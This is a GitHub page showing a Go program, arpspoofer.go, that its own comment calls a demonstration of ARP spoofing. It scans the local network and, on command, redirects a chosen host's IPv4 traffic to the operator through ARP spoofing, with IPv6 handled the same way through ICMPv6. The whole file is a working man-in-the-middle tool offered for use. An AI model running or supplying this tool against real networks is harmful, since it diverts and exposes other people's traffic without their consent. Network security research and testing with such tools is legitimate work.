-
Notifications
You must be signed in to change notification settings - Fork 2
/
arpspoofer.go
198 lines (173 loc) · 4.6 KB
/
arpspoofer.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
package main
import (
"bytes"
"flag"
"fmt"
"os"
"os/signal"
"syscall"
"time"
"github.com/irai/packet"
"github.com/irai/packet/fastlog"
arp "github.com/irai/packet/handlers/arp_spoofer"
icmp "github.com/irai/packet/handlers/icmp_spoofer"
)
// Simple utility to demonstrate use of ARP spoofing
var (
nic = flag.String("i", "eth0", "nic interface")
debug = flag.String("d", "info", "set to info or debug to show debug messages")
)
var (
arpSpoofer *arp.Handler
icmp6Spoofer *icmp.Handler6
)
func main() {
var err error
var exiting bool
flag.Parse()
fmt.Println("setting up nic: ", *nic)
s, err := packet.NewSession(*nic)
if err != nil {
fmt.Printf("conn error: %s", err)
return
}
defer s.Close()
// arp.Debug = *debug
// icmp.Debug = *debug
packet.Logger.SetLevel(fastlog.Str2LogLevel(*debug))
// instanciate the arp spoofer for IPv4
arpSpoofer, err = arp.New(s)
if err != nil {
fmt.Println("error creating arp spoofer", err)
return
}
defer arpSpoofer.Close()
// instanciate the icmp6 spoofer for IPv6
icmp6Spoofer, err = icmp.New6(s)
if err != nil {
fmt.Println("error creating arp spoofer", err)
return
}
defer icmp6Spoofer.Close()
// start packet processing goroutine
go func() {
buffer := make([]byte, packet.EthMaxSize)
for {
n, _, err := s.ReadFrom(buffer)
if err != nil {
if !exiting {
fmt.Println("error reading packet", err)
}
return
}
// Ignore packets sent by us
if bytes.Equal(packet.SrcMAC(buffer[:n]), s.NICInfo.HostAddr4.MAC) {
continue
}
// memory map packet so we can access all fields
frame, err := s.Parse(buffer[:n])
if err != nil {
fmt.Println("parse error", err)
continue
}
switch frame.PayloadID {
case packet.PayloadARP: // Process arp packets
if err := arpSpoofer.ProcessPacket(frame); err != nil {
fmt.Println("error processing arp packet", err)
}
case packet.PayloadICMP6: // Process icmpv6 packets
if err := icmp6Spoofer.ProcessPacket(frame); err != nil {
fmt.Println("error processing icmp6 packet", err)
}
}
}
}()
// send arp scan and icmp6 echo to quickly populate host table
arpSpoofer.Scan()
icmp6Spoofer.PingAll()
// start goroutine to read command line
inputChan := make(chan []string)
go func() {
for {
inputChan <- readInput()
fmt.Println("")
}
}()
// channel to terminate cleanly when we get ctrl-C or sigterm
c := make(chan os.Signal, 2)
signal.Notify(c, syscall.SIGINT, syscall.SIGTERM)
// process commands
for {
fmt.Println("\n-------\nIPv4 and IPv6 Spoofer")
fmt.Println(" log <module> error|info|debug : change debug level for module packet|arp|icmp")
fmt.Println(" list : list hosts")
fmt.Println(" spoof <ip> : spoof target ip - all IPv4 trafic will be redirect to us")
fmt.Println(" stop <ip> : stop spoofing ip")
fmt.Println(" q : quit")
fmt.Print("Enter command: ")
select {
case sig := <-c:
switch sig {
case syscall.SIGINT, syscall.SIGTERM:
exiting = true
arpSpoofer.Close()
s.Close()
time.Sleep(time.Second)
return
}
case tokens := <-inputChan:
switch tokens[0] {
case "q":
c <- syscall.SIGINT // force sigint exit
case "l", "list":
fmt.Println("hosts table ---")
s.PrintTable()
case "log":
p := getString(tokens, 1)
level := getString(tokens, 2)
switch p {
case "packet":
packet.Logger.SetLevel(fastlog.Str2LogLevel(level))
case "arp":
arp.Logger.SetLevel(fastlog.Str2LogLevel(level))
case "icmp":
icmp.Logger4.SetLevel(fastlog.Str2LogLevel(level))
icmp.Logger6.SetLevel(fastlog.Str2LogLevel(level))
}
case "spoof":
ip := getIP(tokens, 1)
if !ip.IsValid() {
continue
}
host := s.FindIP(ip)
if host == nil {
fmt.Printf("host %s does not exist. use `list` to view all available hosts.\n", ip)
continue
}
if host.Addr.IP.Is4() {
_, err = arpSpoofer.StartHunt(host.Addr)
} else {
_, err = icmp6Spoofer.StartHunt(host.Addr)
time.Sleep(time.Millisecond * 100) // time to print messages in order
}
case "stop":
ip := getIP(tokens, 1)
if !ip.IsValid() {
continue
}
if host := s.FindIP(ip); host != nil {
if host.Addr.IP.Is4() {
_, err = arpSpoofer.StopHunt(host.Addr)
} else {
_, err = icmp6Spoofer.StopHunt(host.Addr)
}
time.Sleep(time.Millisecond * 100) // time to print messages in order
}
default:
}
if err != nil {
fmt.Printf("error in operation %s: %v\n", tokens[0], err)
}
}
}
}